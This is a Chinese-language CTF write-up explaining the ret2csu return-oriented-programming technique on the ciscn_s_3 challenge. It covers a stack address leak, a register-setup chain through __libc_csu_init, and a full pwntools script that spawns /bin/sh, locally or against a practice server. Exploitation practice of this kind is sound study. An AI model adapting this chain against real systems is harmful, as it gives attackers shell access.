ret2csu
csu技巧:程序一般都会有一个__libc_csu_init()函数,函数里面会有很多对于寄存器的操作,如果通过溢出等手段进入那里,就可以对函数参数设置
b站星盟安全的师傅讲的很好,这是课程里面的截图
补充一点小知识
32 位:系统调用号放入 eax,参数依次放到 ebx、ecx、edx,返回值放在 eax
64 位:系统调用号放入 rax,参数依次放到 rdi、rsi、rdx,返回值放在 rax
题目 ciscn_s_3
ida打开看一下
程序里还有一个gadgets的函数,题目作者很明显想让我们利用里面的gadget,此时有个让rax(系统调用号)为0xf和0x3b的,查了一下0xf是sigreturn函数的调用号,0x3b是execve函数的调用号,所以题目有两种方法,但是sigreturn函数查了一下不太清楚是什么,所以我们用execve函数
题目思路:
利用ret2csu构造函数execve(“/bin/sh”),首先要写入binsh字符串,并找到它的真实地址,第一个read和write就是让我们这么做的,然后栈溢出返回值继续返回到vuln函数,第二次read函数溢出到csu里面设置execve,最后ret到syscall调用函数
首先写入binsh字符串,并找到它的真实地址
看到write函数,函数是从rsp-0x10开始输出0x30个字节,而buf的内容加上它的rbp,ret一共就0x20个字节,所以每次write都会泄露栈上的某个地址,而这个地址和我们输入的地址间的偏移是固定的也就是:0xdea8-0xdd60=0x148,有了这个偏移我们每次都能找到bin/sh的真实地址
然后是设置函数 我们想要的是execve(“/bin/sh”)即rdi=sh_addr,rsi=0,rdx=0,这就要通过__libc_csu_init()函数来赋值,这个csu_addr1和csu_addr2位置其实没什么要求,最重要的是系统调用号
然后看到payload处,有人可能对这个0x50表示疑惑,这道题我看了别人的解析发现好像根本不太用设置这些寄存器0.0,咳咳,这个sh+0x50是赋值给r12的,看到上图的0x400589处,它会call一个地址,而这个p64(csu_addr2)正好是sh_addr+0x50,那么就会跳转到csu_addr2处(r12+rbx*8 然后rbx=0,r12是sh_addr+0x50在payload中也就是csu_addr2)
payload += p64(sh_addr+0x50) #r12
...
payload += p64(csu_addr2) #call[r12+rbx*8]
小贴士,64位函数传参pop rdi + 参数
找pop rdi:ROPgadget --binary ciscn_s_3 |grep “pop rdi”
最后设置完随便跳转到一个syscall处就会执行execve(“/bin/sh”)啦
但是这道题还有个小问题,就是不知道为什么本地的sh_addr的偏移是0x148,而远程的是0x118,这个可能跟libc有关吧,我也懒得换个libc试一下00
from pwn import *
context.arch = 'amd64'
context.log_level='debug'
p = process('./ciscn_s_3')
#p = remote("node5.buuoj.cn",25042)
#find_real_binsh
vuln_addr = 0x4004ED
payload=b'/bin/sh\x00'+b'a'*8+p64(vuln_addr) #不用覆盖rbp,汇编中没有leave
p.sendline(payload)
#gdb.attach(p,'b *0x400503')
p.recv(0x20)
sh_addr = u64(p.recv(8))-0x148
print(hex(sh_addr))
sys_execve_addr = 0x4004E2
#set csu
csu_addr1 = 0x40059A #pop rbx
csu_addr2 = 0x400580 #mov rdx,r13
#rdi=sh,rsi=0,rdx=0
payload = b'/bin/sh\x00'+b'a'*8+p64(csu_addr1)
payload += p64(0) #rbx
payload += p64(0) #rbp
payload += p64(sh_addr+0x50) #r12
payload += p64(0) #r13
payload += p64(0) #r14
payload += p64(0) #r15
payload += p64(csu_addr2) #call[r12+rbx*8]
payload += p64(sys_execve_addr)
#rdi+sh+ret
payload += p64(0x4005a3)+p64(sh_addr)+p64(0x400501) #syscall
p.sendline(payload)
p.interactive()